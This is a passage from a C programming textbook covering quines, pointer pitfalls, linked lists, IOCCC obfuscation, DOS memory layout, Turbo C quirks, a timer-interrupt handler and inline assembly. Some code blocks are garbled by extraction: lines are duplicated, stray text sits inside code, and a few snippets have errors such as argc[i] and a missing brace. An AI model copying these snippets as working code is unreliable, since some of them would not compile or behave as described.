1. Write source code colorizer software. Source code colorizer formats the given C file into HTML file with necessary syntax highlighting. (Hint: You may need to know the syntaxes of HTML)
2. Write a utility that indents the given C file. That is it should align the C code properly for better clarity.
3. Solve all the questions in $\mathrm{K} \& R$. It's really a tough project as no one achieved it successfully!

## 11 "The more we talk, the less sense we make." <br> Program that Outputs the same

Program that outputs the same is technically called as self-reproducing or self-replicating program. You may wonder whether a C program could output the same or not. Yes, it's possible. As it is a tough job, it is considered to be an intellectual programming.

### 11.1 Self-replicating program \#1

The following program is a common self-replicating program. When you run this program, you would get the same as output. So don't ask me the output!!!

```
main( ) {char *c="main( ) {char
*C=%c%s%c;printf(c,34,c,34);}";printf(c, 34,c, 34);}
```


### 11.2 Self-replicating program \#2

Some people slightly modify the above self-replicating program and obtain the following program.

```
char*s="char*s=%c%s%c;main() {printf(s, 34,s,34);}";main() {printf(s,3
4,s,34); }
```


### 11.3 Self-replicating program \#3

The following program is an interesting one, because it is self-replicating as well as palindrome! It was by Dan Hoey.

```
/**/char q='"',*a="*//**/char q='%c',*a=%cos%c*/};)b(stup;]d[b=]d-
472[b) --d(elihw;)q,a,q,q,2+a,b(ftnirps;)b(stup{) (niam;731=d ni;]572
[b,",b[275];int d=137;main(){puts(b); sprintf(b,a+2,q,q,a,q);while(d--)
b[274-d]=b[d];puts(b);}/*C%s%c%=a*,'c%'=q rahc/**//*"=a*,'"'=q rahc/**/
```


"A lazy person will end up poor."

## Pointers

Pointers are a gift to C programmers. One of the important uses of pointers is the dynamic memory allocation. So pointers work with 'memory'. It necessitates the need to understand jargons related to 'memory' and pointer implementations.

### 12.1 Memory Overwrite

Whenever we write data into memory, we're actually overwriting the existing data. If we "owned" that memory and if we overwrite it, then there won't be any problem. Otherwise, we would lose any valid data that exist there before. So we must avoid memory overwrite and we should use only the allocated memory.

### 12.2 Array/Buffer Overflow

If we copy or insert data more into an array of limited size, it is referred as array overflow. Look at the following code:

```
char var1[10];
char var2[5] = "Hello"; /* '\0' is not added as size
    is given as 5*/
strcpy( var1, var2 );
```

Here, we can find that var2 ("Hello") is not terminated with a Null terminator ('\0'). So when we copy var2 to var1 using strcpy ( ), the strcpy ( ) routine will copy all the character to var2 until it finds ' 10 ' in memory. So array overflow may result in memory overwrite!

### 12.3 Memory Leak

When you repeatedly allocate memory without freeing it, such that all available memory leaks away, it is called as memory leak. Too much of memory leak would crash TC, DOS or Windows. So it is more dangerous. For example, the following code would result in memory leak.

```
#include <stdlib.h>
#include <stdio.h>
int main( void )
{
    int x = 1;
```

```
    int *ptr = malloc( sizeof( int ) );
ptr = &x;
x = 2;
*ptr = 3;
return(0);
}
```

Here, the variable ptr is first initialized with malloc ( ) and once again with address of x. So the value that was returned by malloc ( ) is definitely lost. Now we have memory leak even if we call free ( ) function, because the free ( ) function must be called with the exact value of the pointer returned by malloc ( ).

The remedy for memory leak is to declare pointer constant. That is,

```
int *const ptr = malloc( sizeof( int ) );
ptr = &x; /* compiler error */
```

Now, the compiler will generate error. So, we are in safe from memory leak problem.

### 12.4 Multidimensional array implementation

For the sake of simplicity, let's see two-dimensional implementation only. All of these techniques can also be extended to three or more dimensions.

### 12.4.1 Version 1

We may allocate an array of pointers, and then initialize each pointer to a dynamicallyallocated row.

```
int **array = (int **)malloc(rows * sizeof(int *));
for(i = 0; i < rows; ++i)
    array[i] = (int *)malloc(columns * sizeof(int));
```

I personally prefer this implementation.

### 12.4.2 Version 2

You may keep the array's contents contiguous with pointer arithmetic as:

```
int **array = (int **)malloc(rows * sizeof(int *));
array[0] = (int *)malloc(rows * columns * sizeof(int));
for(i = 1; i < rows; ++i)
    array[i] = array[0] + i * columns;
```


### 12.4.3 Version 3

You may also simulate a two-dimensional array with a single, dynamically-allocated onedimensional array.

```
int *array = (int *)malloc(rows * columns * sizeof(int));
```


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### 12.4.4 Version 4

Here is another version which uses pointers to arrays.

```
int (*array)[NO_OF_COLUMNS] =
    (int (*)[NO_OF_COLUMNS])malloc(rows * sizeof(*array));
```


### 12.5 Linked List

Linked list is one of the important applications of pointer concepts. Here is the program to create / append, display \& reverse a linked list.

```
#include <alloc.h>
#include <stdio.h>
typedef struct node LNKLIST;
struct node
{
    int data;
    LNKLIST *next;
};
int main( void )
{
    LNKLIST *start = NULL, *p, *q, *temp;
    char opt;
    do
        {
            printf( "\n\t\t Menu" \
                            "\n\t\t ~~~~" \
                            "\n\t 1. Create/Append Linked List"\
                            "\n\t 2. Reverse Linked List" \
                    "\n\t 3. Display Linked List" \
                    "\n\t 4. Exit"
                    "\n Enter your choice "
                );
            opt = getchar( );
            flushall( );
            switch( opt )
            {
                case '1': /* Create/append Linked List */
                do
                {
                    p = start;
                                    /* Traverse upto the last node to append */
```

```
    while( p->next!=NULL )
    p = p->next;
    q = (LNKLIST*)malloc(sizeof(LNKLIST));
    printf( "\nEnter the data: " );
    scanf( "%d", &q->data );
    q->next = NULL;
    if ( start==NULL )
            start = q;
        else
                    p->next = q;
            printf( "Wanna continue? " );
    } while( tolower( getchar( ) )=='y' );
    break;
    case '2': /* Reverse Linked List */
        p = start;
        q = p->next;
        while( q!=NULL )
        {
            temp = q->next;
            q->next = p;
            p = q;
            q = temp;
        }
        start->next = NULL;
        start = p;
        break;
            case '3': /* Print linked list as [Data | Address] */
        p = start;
        printf( "\nstart =%u ", start );
        while( p!=NULL )
        {
            printf( "-> [%d | %u]", p->data, p->next );
            p = p->next;
        }
        getchar( );
            }
        } while( opt!='4' );
    return(0);
} /*--main( )----------*/
```


## 13

 "Wisdom is better than weapons of war."
## Code Obfuscation

The word obfuscate means "to confuse". Code Obfuscation refers to confusing others with your code. In other words, Code Obfuscation is the technical term for crypting your code and preventing others from reading the code (Just opposite to Readability). Code Obfuscation is very interesting to most of the C programmers. Every year we have The International Obfuscated C Code Contest. Throughout the world most of the C programmers participate in this contest. As far as I know no Indian has yet received this prize. So in this chapter let's see the most interesting Code Obfuscation.

### 13.1 Where to contest?

To contest in The International Obfuscated C Code Contest, visit their official website www.ioccc.org. There you can find the rules and important dates.

### 13.2 Guidelines

```
char a[ ] = "ABCD"; /* string representation */
char b[ ] = "\x41\x42\x43\x44"; /* hexadecimal representation */
char c[ ] = "\101\102\103\104"; /* octal representation */
char d[ ] = "A" "B" "C" "D"; /* using string properties */
char e[ ] = {'A', 'B', 'C', 'D', '\0'}; /* using char propery */
```

In C all the above strings $\mathrm{a}, \mathrm{b}, \mathrm{c}, \mathrm{d}$ and e represent " ABCD ". This is one of the simple tricks used in code obfuscation.

### 13.3 Real Code

### 13.3.1 Wherami

The following program Whereami.c won "Best Small Program" prize in The International Obfuscated C Code Contest held in 1992. This program was by Brian Westley (aka Merlyn LeRoy).

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```
                    main(l
            ,a,n,d) char**a; {
        for(d=atoi(a[1])/10*80-
atoi(a[2])/5-596;n="@NKA\
CLCCGZAAQBEAADAFaISADJABBA^\
SNLGAQABDAXIMBAACTBATAHDBAN\
ZcEMMCCCCAAhEIJFAEAAABAfHJE\
TBdFLDAANE fDNBP HdBcBBBEA_AL\
H E L L O, W O R L D! "
        [1++-3];) for(;n-->64;)
            putchar(!d+++33^
                l&1);}
```

Any idea about the above code? It prints the world map! Quite amazing isn't it?
Output: World Map - New Delhi marked with " (obtained by executing whereami 29 77)


### 13.3.2 Note

Following is a part of note added by Westley.
Run the program as whereami <lat> <long>
Where lat and long correspond to your latitude and longitude.
To find the approximate place where this entry (The International Obfuscated C Code Contest) was judged, type:

$$
\text { whereami } 37-122 \text { (- means west of meridian) }
$$

Run the program with your latitude \& longitude as integer arguments; it will produce a map made up of '!' with the given position marked with either a '"' (if the position is over a '!') or a '\#' (if the position is over a space). Southern latitudes and western longitudes are entered as negative numbers. For example, to find San Francisco, run with "whreami $38-122$ ". The resolution of the map is five degrees horizontally, ten degrees vertically. The map is a Mercator projection with equal spacing of the latitudes, so the areas near the poles are very distorted. Latitudes near the poles and Antarctica are not shown.

The program requires the ASCII character set, putchar ( ), atoi ( ), and a display that auto-wraps at 80 characters(!). If your display does not work this way, you will have to massage the output; for example, you can pipe it to a file and edit it with an editor, which will do autowrap for you.

If you run it with fewer than 2 arguments, it will likely give you an exception, as it will access arguments that don't exist and characters before a string constant.

## Logic

The map is printed as one long string of ' ' and '!' characters, with the autowrap used to stack up slices of 80 . The map data is a string; the first character is how many '!'s are printed ( $\mathrm{A}^{\prime}=1, \mathrm{~B}^{\prime}=2$, etc), the second character is how many ' 's, the third is how many '!'s, etc. ASCII characters less than ' A ' print no characters but still change the polarity, so any map of ' 's and '!'s is possible. This is done in the putchar ( ) argument as " $33^{\wedge} 1 \& 1 "$, where 1 is the character position +4 ; if 1 is odd, ' ' is printed, if 1 is even, '!' is printed.

The position of latitude \& longitude is changed into a single character position within the one long string via the first expression " $\mathrm{d}=$ latitude $/ 10 * 80$ - longitude $/ 5$ - offset" The latitude is divided by ten because the vertical resolution is ten degrees, then multiplied by 80 because of the 80 character wrap (i.e. each ten degrees moves the position up or down one entire row). The longitude is divided by five and added, because five degrees of change moves the location one character. The signs are opposite because latitude is decreasing and longitude is increasing as you go from upper left to lower right. The offset is where the origin (latitude $=0$, longitude $=0$ ) is found.

The position counting down to zero changes the putchar ( ) from printing ('!' or ' ') to printing ('"' or '\#').

The "H E L L O, W O R L D!" string inside the data string prints the line of blanks past Tierra del Fuego and the last blank line. It's just for show, really.

Since the resolution is coarse, a few costal cities are shown to be just off the map; this is an unavoidable artifact. The map is reasonably accurate. Here are some cities you might like to try:

| City | Lattitude | Longitude |
| :--- | :--- | :--- |
| New York | 41 | -74 |
| London | 52 | 0 |
| Moscow | 56 | 38 |
| New Delhi | 29 | 77 |
| Sydney | -34 | 151 |
| Los Angeles | 34 | -118 |
| Paris | 45 | 2 |
| Beijing | 40 | 116 |
| Rio de Janeiro | -23 | -43 |
| Tokyo | 36 | 140 |

## Part II

## DOS Programming

"writing BASIC for the Altair was exhausting...Paul and I didn't sleep much and lost track of night and day. When I did fall asleep, it was usually at my desk or on the floor. Some days I didn't eat.. But after five weeks...world's first microcomputer software company was born."

## -Bill Gates

Courtesy: The Road Ahead (ISBN 0-14-024351-8)

## 14 "If you love to sleep, you will be poor." <br> DOS Secrets

To program well, you have to know more about your hardware and DOS internals. This book is neither a hardware book nor a beginners' book. So I would slightly touch the hardware and DOS internals in this chapter. In many Institutions hardware \& software are being taught as different subjects. And people don't know how both are related. For system programming you must know the relationship between the two. This chapter will help you to understand why a programmer should know hardware \& DOS internals for DOS programming.

### 14.1 Prelude

DOS (Disk Operating System) is the widely used operating system. It is a single-user operating system. DOS is designed to provide an easy way to use disks for storage. It is very efficient in controlling, accessing and managing the data from disk drives. The basic operations performed by DOS are regulate space allocation, keep track of files, save and retrieve files and manage other control functions associated with disk storage. Thus using DOS an interface is made between the user and the computer. This DOS is same for all the systems. For loading this DOS to the memory BIOS, bootstrap program, diagnostic testing programs are very essential and we will discuss it in the coming sections.

### 14.1.1 BIOS

It is a program that provides link between the hardware and the operating system. It is a firmware (Firmware is a program or data stored in ROM. These are not altered by software, and are not lost when the power is turned off). Since it is stored in ROM, it is usually called as ROM BIOS. It contains many low level routines. It is responsible for basic hardware operations such as interactions with disk drives and keyboards. It also has drivers and other software that manages the peripheral devices.

The basic operations performed by BIOS are

- Keyboard routine
- Video routines
- Printer routines

This BIOS program differs from system to system. For getting good results we can use BIOS functions along with the DOS functions.

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### 14.1.2 Bootstrap Program

Bootstrap program is responsible for loading the operating system from the disk to the memory. When the computer is switched ON the process of bootstrapping takes place, which initializes the computer for use, by automatically clearing memory and loading the first few instructions that call other instructions in the disk (Nowadays the remaining part of the operating system resides in the hard disk itself).

The basic operations performed by bootstrap program are

- It runs the diagnostics testing programs to check the status of RAM.
- It makes a call to the disk for loading the operating system into the memory.
- After loading the operating system, it transfers control to the operating system.

Floppy / Hard Disk



### 14.1.3 Boot Sector

The boot sector on a disk is always the first sector on the first track on the first head. BIOS starts up and does the POST, when computer is powered ON. It initializes all its data and then looks for a valid boot sector. First it looks at the Floppy disk (A:), then at the Hard disk (C:). After this process, the operating system is loaded into the memory, which is explained in the figure. If it doesn't find it then interrupt 18h is called (on original IBM PCs this started the ROM BASIC). A valid boot sector (to the BIOS) is one that has 0AA55h at offset 510 in the boot sector.

When the BIOS finds the boot sector, it reads that sector ( 512 bytes) off of the disk and into memory at 0:7C00h. Then it jumps to 0:7C00h and the boot sector code gets control. BIOS data area ( $40 \mathrm{~h}: 0$ ) and the BIOS interrupts ( $10 \mathrm{~h}-1 \mathrm{Ah}$ ) are initialized. At this point, memory is mostly unused, but not necessarily cleared to 0 .

### 14.2 Memory Layout

For better programming in DOS we must also know the memory layout of DOS. In the system there is 1 MB of addressable memory area, in that $1024 \mathrm{~K}(1 \mathrm{MB})$ of addressable memory first 640 K is called conventional memory area, it addresses from 00000 to FFFFF and the remaining 384 K is called reserved memory or upper memory area, it addresses from A0000 to FFFFF.

The conventional memory (which is also called base memory) is reserved for the use by the system and the upper memory area is reserved for the use by the graphics boards, other adapters and motherboard ROM BIOS.

### 14.2.1 Upper Memory Area (UMA)

The 384 K of upper memory is further divided into three equal parts of 128 K each. The first 128 K
 above the conventional memory area is reserved for the use by the video adapter and it is also called video RAM. The next 128 K is reserved for use by the adapter BIOS and the last 128 K is for Motherboard BIOS.


In the video RAM area the information related to text and graphics display on screen is stored. The address range of this video adapter is A0000-BFFFF. If we use monochrome graphics adapter (MGA) then the information about the display is stored between B0000 and B8000. If we use CGA then it occupies the address range B8000-
BFFFF. Graphics mode video RAM occupies A0000-AFFFF.
In the 128 K area of adapter BIOS, the first 32 K is used by VGA compatible video adapters and the remaining area is used by network adapters and some other adapters.

In the 128 K of the motherboard BIOS, the first 64 K is called free UMA block space and most of the systems use only the last 64 K . In this area POST (Power On Self Test-which is a set of routines that test motherboard, memory, disk drives, adapter, keyboards, other devices and components in the system), bootstrap loader (which is set of routines to start the operating system) and CMOS (Component Metal Oxide Semiconductor-which is used to configure the system by pressing some key while booting) reside.

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### 14.3 Segment Address

In the system every instruction is addressed by 20-bit linear address from 00000-FFFFF. This is called real address or physical address of the system. The total memory area in the system is divided into different segments. These segments use only 16-bit address for storing and retrieving data in each segment. The real addressing has 20-bits and so to represent this 20-bit physical address we are using 16-bit segment address and offset address.

For example, if the segment address is B000 and the offset address is 8888 then the corresponding physical or linear address will be


In this method overlapping is possible. For example, we can get the same physical address in various segments and offset combinations.

| B080 | B880 | B008 | B808 |
| :---: | :---: | :---: | :---: |
| 8008 | 0088 | 8808 | 0808 |
| B8888 | B8888 | B8888 | B8888 |


| 16MB/4GB/64GB | Extended Memory |
| :---: | :---: |
| 1MB | Motherboard ROM BIOS |
| 896KB |  |
| 832KB | EMS Windows |
| 768KB | Adapter ROM |
| 640KB | Video RAM |
| 512KB |  |
| 256KB | Conventional ( Base ) Memory |
| OKB |  |

### 14.4 Extended Memory

Any memory above 1 MB is called extended memory. The size of the extended memory changes from system to system. For example, the size of extended memory for 286, 386DX and Pentium II are $16 \mathrm{M}, 4 \mathrm{G}$, and 64 G respectively.

The diagram with the conventional, upper and extended memory is given above.

### 14.5 Limitations of DOS

It is a single user operating system and it does not support multitasking and it is not designed for networking. It does not support GUI (graphical User Interface), which is popular in Windows. Virtual memory area is not present in DOS. Now DOS is given a graphical user interface and limited multitasking capability by combining with Windows. This DOS/Windows combination was first introduced in 1995 with Windows 95.

## 15

 "Everyone who asks will receive."
## Traits of Turbo C

In the First Chapter itself I told you that Turbo $\mathrm{C}++3.0$ is the IDE that is used throughout this book. If you've got Turbo C 2.0 or latter version of Turbo C, please get version 3.0. Why I prefer Version 3.0 is, it is being helpful to explain DOS programming than any other versions.

### 15.1 Features of TC++3.0

- Syntax highlighting
- Supports C++'s single line comment (//) even for C codes
- More options
- Can execute inline assembly without any overhead.


### 15.2 Configure your TC++3.0

If you change the default configuration (color, tab etc) of TC++3.0, it is enough to delete the file TCCONFIG.TC that is found on the TC directory to get back default configuration.

- Set the default extension to C by Options > Editor > Extension > C
- Set tab size to 8 by Options $>$ Editor $>$ Tab $>8$


### 15.3 IDE basics

IDE is nothing but Integrated Development Environment. IDE has got so many components. The most important components among them are Editor, Compiler, Assembler \& linker.

First of all we should know the difference between Editor, Compiler, Assembler \& linker. Editor is the one in which we create, read \& edit our texts. Compiler is the one, which converts C

| Tool | Input | Output |
| :---: | :---: | :---: |
| Compiler | .c | .asm |
| Assembler | .asm | .obj or .lib |
| Linker | .obj \& .lib | .exe or .com | files (.c) to Assembly (.asm) files. Compiler is very often treated as language converter. Assembler is the one, which converts assembly (.asm) files into object (.obj) files or (.lib) files. Linker is the one that links object (.obj) files and library (.lib) files and thus creates an executable file (.exe or .com).

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Compiler, Assembler \& Linker are usually command line executable files, which requires filename(s) and other information as parameters. What IDE does is, it saves our time by invoking the proper utilities with proper parameters within the Editor.

### 15.4 Useful Utilities

You have many useful utilities to use with $\mathrm{TC}++3.0$. These useful utilities are rarely known in India. Please try to use them for better programming! I will just introduce the utilities. For more explanations about those utilities, see the documentation (found on TC directory).

### 15.4.1 BASM

BASM is Built-in inline Assembler. It is used to assemble the inline assembly to the C file.

### 15.4.2 TASM

BASM is not much efficient. It can handle only x286 instructions. TASM (Turbo Assembler) can handle x386 instructions. x386 instructions are efficient compared to x286 instructions. So real programmers use TASM than BASM.

In the beginning of the program you have to add the following line to invoke TASM.
\#pragma inline
Otherwise the default BASM will be called.

## Note

Even in TASM, the default instruction sets are $\times 286$. To call $\times 386$ instruction, you have to add .386. We will see this later!

### 15.4.3 TLINK

TLINK is used to link object files and library files and produces the executable file.

### 15.4.4 TLIB

Turbo library or TLIB is useful to manage, create library files.

### 15.4.5 MAKE

MAKE file seems to be like a batch file. Real programmers very often use this useful utility.

### 15.4.6 TCC

TCC is a command line compiler. It is an integrated compiler. Using this you can create assembly files, object files, and you can also create executable files directly.

## 15.5 main( )

In contradict to ANSI C, Turbo C supports three arguments: argc, argv \& env. argc holds number of arguments passed in command line. argv is the array of pointer to the string in command line. Under 3.X versions of DOS, argv [0] points to the full path name of the program (e.g., C: \WAR \CHKMAIN.EXE). Under versions of DOS before 3.0, argv [0] points to null string. argv[1] points to first string typed on command line after the program name. argv[argc] contains NULL. env is an array of pointers to the string of environment variables.

Let's see an example:

```
/* chkmain.c */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[], char *env[])
{
    int i;
    printf("argc = %d \n", argc);
    for( i=0; i<=argc; ++i)
        printf("argv["%d"] = %s \n", i, argc[i]);
    for( i=0; env[i] != NULL; ++i)
        printf("env["%d"] = %s \n", i, env[i]);
    return(0);
}
```


## Input \& Output

C:\WAR $>$ CHKMAIN argument1 "second argument" 3 "last argument"
See argv[2] and arg[4]. In order to embed blanks we have put it in double quotes. Turbo C sends all the three arguments (argc, argv, env) to its programs. But using the third argument env is not a standard way. For standard programming use environ.

### 15.5.1 int main ( ) or void main ( ) ?

Turbo C accepts both int and void main ( ) and Turbo C programmers use both int and void main ( ) in their programs. But in my opinion, void main ( ) is not a standard usage. The reason is, whenever a program gets executed it returns an integer to the operating system. If it returns ' 0 ' means, the program is executed successfully. Otherwise it means the program has been terminated with error.

Using a sample program, I have found that void main( ) returns 20 even after successful completion of program (which means it returns wrong status to the operating system!).

```
/* intmain0.c */
int main( void )
{
    printf( "int main returns 0 \n" );
```

```
    return(0);
} /*--main( )-----*/
/* intmain5.c */
int main( void )
{
    printf( "int main returns 5 \n" );
    return(5);
} /*--main( ) ------*/
/* voidmain.c */
void main( void )
{
    printf( "void main returns? \n" );
} /*--main( )----*/
```

@ECHO OFF
REM *** Batch file to check return code (Testmain.bat) ***
CLS
intmain0.exe
ECHO \%errorlevel\%
intmain5.exe
ECHO \%errorlevel\%
voidmain.exe
ECHO \%errorlevel\%

## Note

As I am working on Windows NT, I used \% errrorlevel\% in a batch file. In other platforms, it may not work. You may have to try different techniques to display the "errorlevel".
REM *** end ***
@ECHO ON

After compiling all the C files to exe files, test the return values with TESTMAIN. BAT. It shows the error value or status.

Thus we have found that int main ( ) is the appropriate usage.

## Note

However void main( ) will be useful in certain circumstances like programming for embedded systems \& real time operating system, because there is no place to return the status value. We will see those things later!

We can also get status of main ( ) by using the menu option COMPILE>Information... from IDE without using BATCH file.

### 15.6 Preprocessor

Preprocessor performs macro substitutions, conditional compilation and inclusion of named files. All these are done with controls like: \#define, \#if, \#ifdef, \#ifndef,
\#elif, \#else, \#line, \#error, \#pragma, \#include. We’ve got several predefined identifiers and macros that expand to produce special information (__LINE__, __FILE_, __DATE__, __TINY__, etc)

### 15.7 Header file

The costly mistake very often performed by Indian Programmers is to write all functions in the header (.h) file and to include it in main. Actually header files are those that contain \#defines and function prototype declarations.

The following demonstration explains why writing functions in header and including it in the main program is wrong.

```
/* Badhead.h */
static void PrintHello( void )
{
    printf( "Hello! \n" );
} /*--PrintHello( )-----*/
/* chkhead.c */
#include "badhead.h"
int main( void )
{
    PrintHello( );
    return(0);
} /*--main( ) -----*/
```


## I nput \& Output C: >CHKHEAD Hello!

When we include the Badhead.h file in chkhead.c, file gets expanded. And so it prints the message "Hello!", which is wrong according to the definition of static functions. K\&R page83 says, "If a function is declared static, however, its name is invisible outside of the file in which it is declared".

Now let's see the right declaration of a header file.

```
/* Head.h */
#ifndef ___HEAD_H /* OR if !define(___HEAD_H) */
#define TRUE ( 1 )
#define FALSE ( 0 )
typedef int BOOLEAN;
void PrintHello1( void );
void PrintHello2( void );
#endif
```


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If head.h file is included in our program, the compile time variable __HEAD_H will be created. We can use it as a flag to check whether the file is already included or not.

The \#ifndef __HEAD_H or \#if !defined (__HEAD_H) helps us to avoid multiple inclusion error. That is, if we don't use the above preprocessor control line and if we include head.h more than one time in our program, we will get error. Now you would ask me where to write the function PrintHello1( ) and PrintHello2( ). Yes, you have to write them in a separate file and you have to create a library file or object file.

### 15.8 Pragma

\#pragma is used to control the compiler.

### 15.8.1 Example 1

\#pragma inline
tells the compiler that the C file contains inline assembly and the compiler will use TASM to assemble the inline codes.

### 15.8.2 Example 2

Sometimes we write code that will be specific to memory models. In such a case our code must be compiled in that memory model only (We have 6 different memory models: Tiny, Small, Medium, Compact, Large and Huge). So programmers use conditional compilation method.

That is,

```
#ifndef ___SMALL__ /* or #if !defined(___SMALL__) */
    #error compile with small memory model
#elif
    :
    :
    /* Program Codes */
#endif
```

There is of course a simple method to do this. That is to use pragma and to force the compiler to compile in specified memory model.

That is,

```
#pragma -ms /* forces compiler to compile in small memory
model */
    :
    :
    /* Program Codes */
    :
```


### 15.9 Creating library file

Creating a library(.lib) file is the easiest one. Let's see one example.

```
/* chklib.c */
void PrintHellol( void )
{
    printf( "Hello1" );
} /*--PrintHello1( )------*/
void PrintHello2( void )
{
    printf( "Hello2" );
} /*--PrintHello2( )------*/
```

Now choose OPTIONS>Applications...>Library. Then Press F9 to compiler. Now you will get chklib.lib.

Creating library file is a good way to organize your program. You can put all the interrelated functions (say mouse functions) in a library file and then you can link the library file whenever necessary.

```
(e.g.) tcc mylib.lib foo.c
```

Attention! you cannot link the library file that is created in one memory model with another file that is created in another model. So it is advisable to create library file for each memory model.

```
(e.g.) mouset.lib (for Tiny), mouses.lib (for Small)
```

If you write a effective library file, you can sell it without the source code! (Only a narrow-minded people do that!)

### 15.10 Creating a project file

I already pointed out that it is enough to have OBJ or LIB file to create an EXE file. Project file allows you to organize these files.

Let's see how to create project file. Choose PROJECT>OPEN and enter the project name. Now you will get a project window. Press [Insert] to add file. Add the respective OBJ, LIB and C files. Now click [Done] and press F9 to compile the project file. You will get the EXE file. When you create project file, you should note that more than one file should not have main ( ).

The applications of these ideas are dealt in forthcoming chapters.

### 15.11 Turbo C keywords

Along with ANSI C keywords, Turbo C got the following keywords:

| near | far | huge | cdecl |
| :--- | :--- | :--- | :--- |
| asm | passed | interrupt |  |
| _es | _ds | _cs | _ss |

When you set the compiler to ANSI standard, you can use the above keywords as identifiers.

### 15.12 Bugs \& Remedy

### 15.12.1 system( )

People who use system ( ) function may have noticed that it won't work when run from IDE. The reason is IDE reserves memory for its own use and there won't be enough memory. But when you run the corresponding EXE file in command line it will work properly. Let's see it with a real program.

```
int main( void )
{
    int err;
    err = system( "DIR" );
    if ( err == -1 )
        perror( "Error: " );
    return(0);
} /*--main( ) ------*/
```

If you run the above program from IDE, you will get the following message:
Error: Not enough memory
So running only the EXE file of respective program in DOS Box will be the remedy.

### 15.12.2 delay ()

The delay ( ) function found in dos.h is processor dependent. And it won't work on all systems. The reason is the delay function is implemented with clock speed.

### 15.12.2.1 Solution with BIOS tick

An easy solution for this is to implement our own delay with the help of BIOS tick as:

```
/* PC bios data area pointer to incrementing unsigned long int */
#define BIOSTICK (*(volatile unsigned long far *)(0x0040006CL))
```

The BIOSTICK get incremented for every 18.2 times per second. But this is not much preferred by the professional programmers.

### 15.12.2.2 Solution with int 8 handler

You might have noticed that all DOS games work fine on all systems. The reason is game programmers' use the techniques of installing this int8 handler for delay as:

```
/* Author: Alexander J. Russel */
volatile unsigned long fast_tick, slow_tick;
static void interrupt (far *oldtimer)(void); /* BIOS timer handler */
void deinit_timer(void);
/*------------
    Logic:
    You don't have to call the old timer, but if you don't
    you have to write some code to cleanup in de-init that
    fixes DOS's internal clock.
    Its also considered 'good form' to call the old int.
    If everyone does, then everything that other TSR's etc...
    may have installed will also work.
    If you skip the little chunk of ASM code- the out 20-
    you WILL LOCKUP all interrupts, and your computer
    Anyways, this test replacement just increments a couple of
    long ints. */
static void interrupt new_timer(void)
{
    asm cli
    fast_tick++;
    if ( !(fast_tick & 3) ) // call old timer ever 4th new tick
            oldtimer( ); // not the best way to chain
            slow_tick++;
        }
    else
        {
            // reset PIC
                Note
                            Here we come across inline assembly. The clear
            asm {
                    mov al, 20h
                    out 20h, al
                    }
        }
    asm sti
}
```


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```
/*------------
            Logic:
            see that lst line of inline asm!
            to set whatever clock speed you want load
            bx with 1193180/x where x is the
                clock speed you want in Hz. */
void init_timer(void)
{
    slow_tick=fast_tick=0l;
    oldtimer=getvect(8); // save old timer
    asm cli
    // speed up clock
    asm {
                mov bx, 19886 /* set the clock speed to
                                    60Hz (1193180/60) */
                    mov al, 00110110b
                out 43h, al
                mov al, bl
                out 40h, al
                mov al, bh
                out 40h, al
            }
    setvect(8, new_timer);
    asm sti
}
/*---------------------------------
void deinit_timer(void)
{
    asm cli
    // slow down clock 1193180 / 65536 = 18.2, but we use zero
    asm {
```

```
                xor bx, bx // min rate 18.2 Hz when set to zero
```

                xor bx, bx // min rate 18.2 Hz when set to zero
                    mov al, 00110110b
                    mov al, 00110110b
                    out 43h, al
                    out 43h, al
                    mov al, bl
                    mov al, bl
                out 40h, al
    ```
                out 40h, al
```

```
            mov al, bh
            out 40h, al
        }
    setvect(8, oldtimer); // restore oldtimer
    asm sti
}
```

Then we can use the following code in main ( ) to get a machine independent delay.

```
next_time=fast_tick + 3; /* fast tick is incremented by
    the int8 ISR (global)*/
while( next_time>=fast_tick )
    ; /* wait */
```


### 15.12.3 Floating point formats not linked

You will get this error when the TC does some optimizing techniques. TC's optimizing techniques prevent the floating point to be linked unless our program needs. But in certain cases, the compiler's decision would be wrong and even though we use floating formats, it doesn't link it. Normally it would happen when we don't call any floating point functions but we use \%f in $\operatorname{scanf}($ ) or printf( ). In such a case we must take effort explicitly to link floating formats.

```
struct foo
{
    float a;
    int b;
};
int main( void )
{
    int i;
    struct foo s[2];
    for ( i=0; i<2; ++i )
            {
            printf( "Enter a: " );
            scanf( "%f", &s[i].a );
            printf( "Enter b: " );
            scanf( "%d", &s[i].b );
            printf( "a=%f, b=%d \n", s[i].a, s[i].b );
            }
            getch( );
            return(0);
} /*--main( )------*/
```


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The above program will result in runtime error as:

```
Enter a: scanf : floating point formats not linked
Abnormal program termination
```


### 15.12.3.1 Solution with pragma directive

One of the remedies for floating point formats link error is to include a pragma directive in our file as per Borland's suggestion:

```
extern unsigned _floatconvert;
#pragma extref _floatconvert
```


### 15.12.3.2 Another solution

Another remedy for floating point formats link error is to use our own code to force floating point formats to be linked.

```
void Force2LinkFloat( void )
{
    float a, *f=&a;
    *f = 0000; /* dummy value */
}
```

Just include the above piece of code in your file. You don't need to call the above function. If the above function gets linked, with your code, it would automatically force floating point formats to be linked.

### 15.12.4 Null pointer assignment

You will get this message when you assign a value through a pointer without first assigning a value to the pointer. Normally it would happen if you use strcpy ( ) or memcpy ( ) with a pointer as its first argument.

Your program may look as if it runs correctly, but if you get this message, bug will be somewhere inside. The actual reason for the cause is you might have written, via a Null or uninitialized pointer, to location 0000 . Whenever TC finds exit ( ) or returns from main ( ), it would check whether the location 0000 in your data segment contains different values from what you started with. If so, you might have used an uninitialized pointer. That is, you may get the error message irrespective of where the error actually occurred.

The remedy for this problem is to watch the following expressions with Add Watch (Ctrl+F7):

```
*(char *)0,4m
(char *)4
```

If the values at these locations get changed, it means that the line just executed is the one causing the problem.

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 "Do to others what you want them to do to you." Mating Assembly with CNothing can beat the efficiency of Assembly language. A good optimizing C compiler will convert C file to a better assembly code. But a good human Assembly programmer can write much more tight and efficient code. If you are such an efficient-superb Assembly programmer, fortunately there is a way to link those assembly codes with C and so you can improve your program.

### 16.1 Inline Assembly

You can write Assembly code inside a C file. That is called as Inline Assembly. In TC++3.0 Inline assembly is being assembled by BASM (Built-in inline Assembler). You don't need TASM. If you use \#pragma inline, inline codes get assembled with TASM. If you use x386 instructions in inline assembly, BASM cannot assemble those codes. In such a case you must use TASM and for that you should use \#pragma inline.

### 16.1.1 Example 1

Let's see an example to print message "A to Z of C " with inline assembly.

```
int main( void )
{
    char *msg = "A to Z of C \r\n$"; /* $ is the null terminator
                        in assembly */
        asm {
            MOV AH, 9;
                MOV DX, msg;
                INT 21H;
            }
    return(0);
} /*--main( )-----* /
```

